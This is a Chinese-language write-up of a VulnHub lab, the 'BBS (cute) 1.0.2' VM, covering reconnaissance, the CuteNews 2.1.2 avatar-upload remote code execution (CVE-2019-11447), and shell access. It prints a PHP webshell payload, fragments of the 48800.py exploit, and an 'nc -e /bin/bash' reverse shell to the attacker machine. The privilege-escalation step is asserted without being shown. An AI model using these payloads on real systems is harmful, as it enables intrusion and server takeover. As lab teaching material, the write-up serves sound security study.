BBS (cute): 1.0.2靶场渗透

BBS (cute): 1.0.2

来自 < BBS (cute): 1.0.2 ~ VulnHub>

前言:攻击机无法扫描靶机解决方案

1,在开机时,按下shift进入界面,按e进入该界面

2,ro替换为 rw signie init=/bin/bash

3,按Ctrl键+X键如果没成功说明配置错了需要从新继续配置 如果是下面这个界面说明配置成功

4,查看当前网卡信息

5,发现网卡是ens33,那么接着编辑网卡配置文件vi /etc/network/interfaces

6,重启网卡 /etc/init.d/networking restart

7,成功分配到IP地址

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.238

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.238

目标主机有5个开放端口22(SSH),80(HTTP),88(HTTP),110(PoP3),995(SSL PoP3)。首先访问80端的网站看看

然后88端口

4,扫描网站存在哪些子目录

dirsearch -u http://192.168.23.238 -x 403,404

访问index.php看看

发现存在一个登录页面,而且网站首页泄露了CMS版本,检索发现果然存在严重的漏洞

searchsploit CuteNews 2.1.2

CuteNews是一款基于PHP开发的新闻管理系统,主要用于管理博客或复杂的新闻发布平台。以下是其核心特点及安全概况的综合介绍:

1. 功能与架构

  • 核心功能:CuteNews提供新闻发布、评论管理、用户权限控制、模板编辑等功能,支持预定时发布、媒体文件管理和多语言日期格式设置。其管理面板集成了分类管理、IP封禁、评论审核等工具,适合中小型网站的内容管理
  • 技术架构:采用平坦式文件存储(无需数据库依赖),通过PHP脚本实现动态内容管理,模板文件以.tpl格式存储,支持HTML和PHP代码混合编写

2. 版本与更新

最新版本:根据公开记录,2015年发布的2.0.3版本新增了Base64编码存储(增强安全性)、迁移工具优化、模板标签修复等功能

历史问题:早期版本(如1.4.6)存在多个安全漏洞,包括跨站脚本(XSS)和未授权访问风险,例如:

  • XSS漏洞:通过register.php的result参数、search.php的user参数等输入点注入恶意脚本3。
  • PHP代码注入:管理员编辑模板时未过滤输入,攻击者可插入PHP代码执行任意系统命令(如Shell命令),影响版本包括2.x系列

3. 安全风险与漏洞

高危漏洞

  • 远程代码执行(RCE):攻击者通过构造恶意模板文件(如插入<?PHP system("命令"); ?>)可控制服务器,此漏洞因缺乏输入过滤而长期存在256。
  • 文件遍历与权限绕过:部分版本允许通过URL参数非法访问系统文件(如Apache配置、日志文件),进一步引发代码注入7。
  • 厂商响应:截至搜索结果时间(最新为2022年),官方未提供针对上述漏洞的补丁,仅建议用户关注官网更新46。

5,下载这个漏洞利用文件看看

searchsploit -m 48800.py

cat 48800.py

CVE-2019-11447漏洞概要

  • 漏洞名称:CuteNews 2.1.2 - Remote Code Execution (RCE)
  • CVE编号:CVE-2019-11447
  • 漏洞类型:文件上传+远程代码执行
  • 影响版本:CuteNews <= 2.1.2
  • 利用前提:攻击者需要有权限注册或登录网站(低权限用户足够)

漏洞成因分析

1. 用户头像上传点可被利用

CuteNews 支持用户上传头像文件作为个人资料图像,文件上传路径如下:

/cdata/users/[username].php

上传表单处理代码在 core/modules/preview.php 和 core/core.php 中有关头像处理逻辑,未对上传的文件扩展名和 MIME 类型做有效验证。攻击者可以将 PHP 代码上传为伪装成图像文件(如 .php 后缀或 .php;.jpg 等变种)。

2. 绕过文件扩展名限制

部分版本中对头像上传支持的文件扩展名没有严格过滤,甚至允许上传 .php 或者通过使用 filename.php.jpg 形式上传,服务器端未对 MIME 类型或实际文件内容做校验。

3. 上传后的文件可直接访问并被解析

上传后的文件被保存至可被 Web 服务器执行的位置,如:

/uploads/avatar/evil.php

Web 服务器如 Apache/Nginx 会解析 .php 文件,攻击者上传的代码如:

<?php system($_GET['cmd']); ?>

当访问如下 URL 时即可执行命令:

http://victim.com/uploads/avatar/evil.php?cmd=whoami

4. 权限控制不当

即便是普通用户注册账户后也可以上传头像,系统未对用户操作进行进一步权限细化,造成攻击面扩大。

漏洞利用脚本原理分解

0x01 漏洞点确认

漏洞位于 用户头像上传接口 ,CuteNews 对上传头像的内容未进行 MIME 类型校验和扩展名过滤,且头像文件会被保存在 可执行的 Web 目录 中,因此可以上传包含恶意 PHP 代码的文件并通过浏览器访问触发执行。

0x02 核心攻击步骤分析

步骤 1:提取哈希凭证(可选步骤)

url = f"{ip}/CuteNews/cdata/users/lines"

encoded_creds = sess.get(url).text

...

credentials = b64decode(line)

sha_hash = re.search('"pass";s:64:"(.*?)"', credentials.decode()).group(1)

  • 尝试从 cdata/users/lines 文件中提取用户的 base64 编码的序列化数据。
  • 通过正则解析出 SHA-256 的密码哈希。
  • 虽然这不是攻击必要步骤,但可用于进一步暴力破解后台密码。

步骤 2:注册一个合法用户

postdata = {

"action": "register",

"regusername": userpass,

...

}

sess.post(f"{ip}/CuteNews/index.php?register", ...)

  • 自动生成随机用户名和密码。
  • 利用 CuteNews 允许任意注册用户上传头像的权限。
  • 注册成功后具备上传权限。

步骤 3:上传恶意"头像"文件(核心 RCE 入口)

payload = "GIF8;\n<?php system($_REQUEST['cmd']) ?>"

...

"avatar_file" : (f"{logged_user}.php", payload)

  • 构造恶意头像文件内容:添加 GIF8;(绕过部分图像解析器的简单校验),后跟 PHP 命令执行代码。
  • 上传的文件名为:{logged_user}.php,文件保存路径为:
    CuteNews/uploads/avatar_{user}_{user}.php
  • 由于上传目录可执行,上传成功后即可访问该文件远程执行命令:
    http://target/CuteNews/uploads/avatar_user_user.php?cmd=whoami

步骤 4:与 WebShell 交互,执行系统命令

while True:

command = input("command > ")

postdata = {"cmd": command}

sess.post(f"{ip}/CuteNews/uploads/avatar_{logged_user}_{logged_user}.php", data=postdata)

  • 向 WebShell POST 数据 cmd=命令。
  • 服务端执行 system($_REQUEST['cmd']) 并返回结果。

关键点总结

|--------|---------------------|
| 步骤 | 问题点 |
| 用户注册 | 无验证码/注册限制,攻击者可自注册 |
| 头像上传 | 文件扩展名和 MIME 类型未校验 |
| 存储路径 | 上传路径可被 Web 执行 |
| 代码执行 | 上传内容可直接作为 PHP 脚本被执行 |
| 权限控制 | 普通用户可触发整个攻击流程 |

6,漏洞利用代码里的url需要根据情况进行修改(而前面目录扫描的时候已经知道目录名称,需要将原来的exploit代码删除掉/CuteNews)

:%s/\/CuteNews//g

解释:

  1. :%s:对整个文件进行替换(% 表示范围为全文件)。
  2. /\/CuteNews/:匹配 /CuteNews。由于 / 是分隔符,需要在前面加 \ 进行转义。
  3. /\//:替换为 /。
  4. g:表示全局替换每一行中所有匹配项。

替换成功,开始执行代码

python 48800.py

然后迁移shell

nc -e /bin/bash 192.168.23.182 4444

nc -lvvp 4444

然后再使用python开启一个可交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

成功getshell

7,然后信息收集,看如何getshell

sudo -l

发现需要密码,这个方法行不通

find / -perm -u=s 2>/dev/null

提权成功,成功得到flag

相关推荐
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
red1giant_star7 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透7 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全